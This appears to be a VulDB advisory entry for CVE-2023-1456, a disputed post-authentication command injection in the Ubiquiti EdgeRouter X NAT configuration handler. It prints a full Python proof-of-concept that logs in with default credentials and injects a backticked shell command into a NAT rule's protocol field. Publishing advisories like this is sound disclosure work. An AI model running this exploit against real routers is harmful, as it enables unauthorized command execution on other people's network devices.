Ubiquiti EdgeRouter X 2.0.9-hotfix.6 NAT Configuration command injection ⚔ [Disputed]
| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 7.8 | $0-$5k | 0.00 |
Summary
A vulnerability, which was classified as critical, has been found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Affected by this issue is some unknown functionality of the component NAT Configuration Handler. The manipulation leads to command injection. This vulnerability is documented as CVE-2023-1456. The attack can be initiated remotely. Additionally, an exploit exists. The actual existence of this vulnerability is currently in question. The vendor position is that post-authentication issues are not accepted as vulnerabilities.
Details
A vulnerability, which was classified as critical, has been found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System). This issue affects an unknown functionality of the component NAT Configuration Handler. The manipulation with an unknown input leads to a command injection vulnerability. Using CWE to declare the problem leads to CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.
The weakness was released 03/17/2023. The identification of this vulnerability is CVE-2023-1456. Technical details are unknown but a public exploit is available. MITRE ATT&CK project uses the attack technique T1202 for this issue.
The exploit is available at vuldb.com. It is declared as proof-of-concept. The real existence of this vulnerability is still doubted at the moment. The vendor position is that post-authentication issues are not accepted as vulnerabilities. The code used by the exploit is:
import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
#inject_cmd = 'touch /etc/test'
phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '27',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken),
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1'
}
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)
loop = 3
r = None
while loop>0:
try:
loop -= 1
r = requests.post(url=login_url,headers=header,data=login_body,\
timeout=5,verify=False,allow_redirects=False)
if r is None or 'Set-Cookie' not in r.headers.keys():
print("Login failed.")
time.sleep((3-loop)*3)
else:
break
except Exception as e:
print('Login error:{}'.format(e))
if r is None:
print('Failed login,please check and retry!')
exit(1)
tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
if 'PHPSESSID' == k:
phpsessid = '{}'.format(v)
elif 'X-CSRF-TOKEN' == k:
csrftoken = '{}'.format(v)
elif 'beaker.session.id' == k:
sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken)
param = {'SET': {'service': {'nat': {'rule': {'5000':
{'type': 'source', 'description': 'dummy', 'log': 'enable',
'protocol': 'tcp`{}`'.format(inject_cmd),
'source': '',
'destination': {'address': '10.10.23.12', 'port': '998'}, 'outbound-interface': 'eth4'}}}}},
'GET': {'service': {'nat': {'rule': {'5000': ''}}}}}
victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-CSRF-TOKEN': '{}'.format(csrftoken),
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken),
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
timeout=5,verify=False,allow_redirects=False)
print(r.status_code)There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
The vulnerability is also documented in the vulnerability database at EUVD (EUVD-2023-23705). If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Product
Type
Vendor
Name
Version
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 8.1VulDB Meta Temp Score: 7.8
VulDB Base Score: 7.2
VulDB Temp Score: 6.5
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CNA Base Score: 7.2
CNA Vector (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Command injectionCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Timeline
03/17/2023 🔍03/17/2023 🔍
03/17/2023 🔍
08/11/2025 🔍
Sources
Status: Not definedDisputed: 🔍
CVE: CVE-2023-1456 (🔍)
GCVE (CVE): GCVE-0-2023-1456
GCVE (VulDB): GCVE-100-223301
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 03/17/2023 08:38Updated: 08/11/2025 07:30
Changes: 03/17/2023 08:38 (39), 03/17/2023 08:39 (3), 04/11/2023 11:40 (2), 04/11/2023 11:47 (28), 08/11/2025 07:30 (16)
Complete: 🔍
Submitter: leetmoon
Cache ID: 216::103
Submit
Accepted
- Submit #99970: Command injection at the web management interface of EdgeRouter-x (by leetmoon)
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
No comments yet. Languages: en.
Please log in to comment.